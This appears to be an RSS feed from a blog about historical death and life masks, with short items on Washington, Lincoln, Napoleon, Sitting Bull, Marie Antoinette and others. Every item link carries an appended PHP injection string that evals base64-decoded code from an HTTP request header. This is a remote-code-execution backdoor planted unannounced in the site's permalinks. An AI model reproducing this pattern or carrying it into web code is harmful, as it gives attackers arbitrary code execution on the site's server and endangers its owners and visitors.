http://www.undyingfaces.com/info Death Masks - Life Masks Mon, 01 Feb 2010 18:54:39 +0000 http://backend.userland.com/rss092 en Faces...and facts...fleshed out from the grave. Unprecedented technology brings to life extraordinary mirror images and powerful last impressions of history's most powerful men. Every line, every wrinkle, every expression tells a story. Forensic-science and anthropology experts have identified that history's most relevant figures left behind highly-detailed casts of their faces, ... http://www.undyingfaces.com/info/2009/10/24/death-masks-history-channel-tv-show/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Life mask, from the original Houdon statue, 1785. See Hutton, Portraits..., pp. 202-3. [Box 53] http://www.undyingfaces.com/info/2008/05/11/george-washington-1732-1799-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The above 3 images from the National Portrait Gallery - Washington DC http://www.npg.si.edu/exh/travpres/lincs.htm http://www.undyingfaces.com/info/2008/05/09/abraham-lincoln-1809-1865-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Learn: Wikipedia entry for Napoleon I of France Learn: Notes on mask from “Portraits in Plaster” at Google Books Learn: Notes on mask from “Talks in a Library…” at Google Books More Info: Life Mask - Laurence Hutton Collection Visit: Map to Location View Larger Map NAPOLEON BONAPARTE, born on August 15, 1769, at Ajaccio; died on ... http://www.undyingfaces.com/info/2008/04/08/napoleon-1769-1821/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/  Learn: Wikipedia entry for Duke of Reichstadt - Napoleon II of France THE DUKE OF REICHSTADT.--"Remember that I would rather know my son to lie in the Seine than to be in the hands  of the-enemies of France. The fate of Astyanax, captured by the Greeks, has always seemed to me ... http://www.undyingfaces.com/info/2008/04/14/the-duke-of-reichstadt/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Death Mask http://www.undyingfaces.com/info/2008/05/10/napoleon-iii-emperor-of-the-french-1808-1873-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I found two excelent books on books.google.com.  Take a look! The Story of Napoleon's Death MaskandThe Death Mask of Shakespeare http://www.undyingfaces.com/info/2009/03/08/death-masks-of-napoleon-and-shakespeare-books/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Enrico Caruso Museum in Brooklyn, NY contains the death mask of Enrico Caruso, which was done at the time of his death. Only three copies are known to exist in the world.  www.enricocarusomuseum.com  I am unable to locate pictures of this mask... http://www.undyingfaces.com/info/2009/04/30/enrico-caruso-1921/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Location West Point Museum Also at RoadSideAmerica.com Wikipedia Entry for Sitting Bull http://www.undyingfaces.com/info/2009/04/25/sitting-bull-1890/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ This mask if from Madame Tussaud.  There is no evidence that Madame Tussaud was present at her execution or that his is indeed the face of Marie Antoinette.  Please let me know if you have further information on this mask. See: http://www.blastmilk.com/decollete/guillotine-the-french-kiss/marie-antoinette-crown-without.php http://www.undyingfaces.com/info/2009/03/21/marie-antoinette-1793/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/